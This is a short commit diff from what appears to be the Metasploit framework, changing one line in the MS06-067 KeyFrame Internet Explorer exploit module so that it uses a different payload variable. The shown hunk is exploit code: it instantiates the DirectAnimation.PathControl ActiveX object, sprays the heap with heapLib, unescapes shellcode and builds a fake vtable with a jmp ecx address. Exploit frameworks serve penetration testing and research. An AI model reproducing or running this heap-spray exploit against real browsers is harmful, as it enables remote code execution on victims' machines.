use the correct payload
git-svn-id: file:///home/svn/framework3/trunk@4640 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
ddf9c8bac1
commit
317f95d4a2
|
@ -86,7 +86,7 @@ class Exploits::Windows::Browser::MS06_067_KEYFRAME < Msf::Exploit::Remote
|
|||
trigger_js = heaplib(
|
||||
"var target = new ActiveXObject('DirectAnimation.PathControl');\n" +
|
||||
"var heap = new heapLib.ie();\n" +
|
||||
"var shellcode = unescape('#{Rex::Text.to_unescape(payload.encoded)}');\n" +
|
||||
"var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +
|
||||
"var jmpecx = 0x4058b5;\n" +
|
||||
"var vtable = heap.vtable(shellcode, jmpecx);\n" +
|
||||
"var fakeObjPtr = heap.lookasideAddr(vtable);\n" +
|
||||
|
|
Loading…
Reference in New Issue